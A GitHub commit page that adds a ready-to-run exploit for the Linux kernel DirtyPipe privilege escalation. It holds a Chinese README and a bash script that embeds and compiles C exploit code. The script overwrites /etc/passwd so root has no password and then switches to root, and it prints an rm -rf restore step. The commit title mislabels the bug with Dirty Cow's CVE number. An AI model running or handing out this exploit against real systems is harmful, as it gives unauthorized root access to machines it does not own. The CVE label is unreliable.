forked from pwntester/0day
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
add CVE-2016-5195 Linux 内核提权漏洞(DirtyPipe)
- Loading branch information
Showing
2 changed files
with
172 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
# Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe) | ||
|
||
## 漏洞描述 | ||
漏洞类似于 脏牛:CVE-2016-5195 “Dirty Cow”,但是更加容易利用 | ||
|
||
## 提权限制 | ||
the attacker must have read permissions (because it needs to splice() a page into a pipe) | ||
|
||
the offset must not be on a page boundary (because at least one byte of that page must have been spliced into the pipe) | ||
|
||
the write cannot cross a page boundary (because a new anonymous buffer would be created for the rest) | ||
|
||
the file cannot be resized (because the pipe has its own page fill management and does not tell the page cache how much data has been appended) | ||
|
||
## 使用方法 | ||
```shell | ||
bash exploit.sh | ||
|
||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,153 @@ | ||
#/bin/bash | ||
cat>exp.c<<EOF | ||
#define _GNU_SOURCE | ||
#include <unistd.h> | ||
#include <fcntl.h> | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <string.h> | ||
#include <sys/stat.h> | ||
#include <sys/user.h> | ||
#ifndef PAGE_SIZE | ||
#define PAGE_SIZE 4096 | ||
#endif | ||
/** | ||
* Create a pipe where all "bufs" on the pipe_inode_info ring have the | ||
* PIPE_BUF_FLAG_CAN_MERGE flag set. | ||
*/ | ||
static void prepare_pipe(int p[2]) | ||
{ | ||
if (pipe(p)) abort(); | ||
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); | ||
static char buffer[4096]; | ||
/* fill the pipe completely; each pipe_buffer will now have | ||
the PIPE_BUF_FLAG_CAN_MERGE flag */ | ||
for (unsigned r = pipe_size; r > 0;) { | ||
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; | ||
write(p[1], buffer, n); | ||
r -= n; | ||
} | ||
/* drain the pipe, freeing all pipe_buffer instances (but | ||
leaving the flags initialized) */ | ||
for (unsigned r = pipe_size; r > 0;) { | ||
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; | ||
read(p[0], buffer, n); | ||
r -= n; | ||
} | ||
/* the pipe is now empty, and if somebody adds a new | ||
pipe_buffer without initializing its "flags", the buffer | ||
will be mergeable */ | ||
} | ||
int main(int argc, char **argv) | ||
{ | ||
if (argc != 4) { | ||
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]); | ||
return EXIT_FAILURE; | ||
} | ||
/* dumb command-line argument parser */ | ||
const char *const path = argv[1]; | ||
loff_t offset = strtoul(argv[2], NULL, 0); | ||
const char *const data = argv[3]; | ||
const size_t data_size = strlen(data); | ||
if (offset % PAGE_SIZE == 0) { | ||
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n"); | ||
return EXIT_FAILURE; | ||
} | ||
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; | ||
const loff_t end_offset = offset + (loff_t)data_size; | ||
if (end_offset > next_page) { | ||
fprintf(stderr, "Sorry, cannot write across a page boundary\n"); | ||
return EXIT_FAILURE; | ||
} | ||
/* open the input file and validate the specified offset */ | ||
const int fd = open(path, O_RDONLY); // yes, read-only! :-) | ||
if (fd < 0) { | ||
perror("open failed"); | ||
return EXIT_FAILURE; | ||
} | ||
struct stat st; | ||
if (fstat(fd, &st)) { | ||
perror("stat failed"); | ||
return EXIT_FAILURE; | ||
} | ||
if (offset > st.st_size) { | ||
fprintf(stderr, "Offset is not inside the file\n"); | ||
return EXIT_FAILURE; | ||
} | ||
if (end_offset > st.st_size) { | ||
fprintf(stderr, "Sorry, cannot enlarge the file\n"); | ||
return EXIT_FAILURE; | ||
} | ||
/* create the pipe with all flags initialized with | ||
PIPE_BUF_FLAG_CAN_MERGE */ | ||
int p[2]; | ||
prepare_pipe(p); | ||
/* splice one byte from before the specified offset into the | ||
pipe; this will add a reference to the page cache, but | ||
since copy_page_to_iter_pipe() does not initialize the | ||
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */ | ||
--offset; | ||
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); | ||
if (nbytes < 0) { | ||
perror("splice failed"); | ||
return EXIT_FAILURE; | ||
} | ||
if (nbytes == 0) { | ||
fprintf(stderr, "short splice\n"); | ||
return EXIT_FAILURE; | ||
} | ||
/* the following write will not create a new pipe_buffer, but | ||
will instead write into the page cache, because of the | ||
PIPE_BUF_FLAG_CAN_MERGE flag */ | ||
nbytes = write(p[1], data, data_size); | ||
if (nbytes < 0) { | ||
perror("write failed"); | ||
return EXIT_FAILURE; | ||
} | ||
if ((size_t)nbytes < data_size) { | ||
fprintf(stderr, "short write\n"); | ||
return EXIT_FAILURE; | ||
} | ||
printf("It worked!\n"); | ||
return EXIT_SUCCESS; | ||
} | ||
EOF | ||
|
||
gcc exp.c -o exp -std=c99 | ||
|
||
# 备份密码文件 | ||
rm -f /tmp/passwd | ||
cp /etc/passwd /tmp/passwd | ||
if [ -f "/tmp/passwd" ];then | ||
echo "/etc/passwd已备份到/tmp/passwd" | ||
passwd_tmp=$(cat /etc/passwd|head) | ||
./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}" | ||
|
||
echo -e "\n# 恢复原来的密码\nrm -rf /etc/passwd\nmv /tmp/passwd /etc/passwd" | ||
|
||
# 现在可以无需密码切换到root账号 | ||
su root | ||
else | ||
echo "/etc/passwd未备份到/tmp/passwd" | ||
exit 1 | ||
fi | ||
|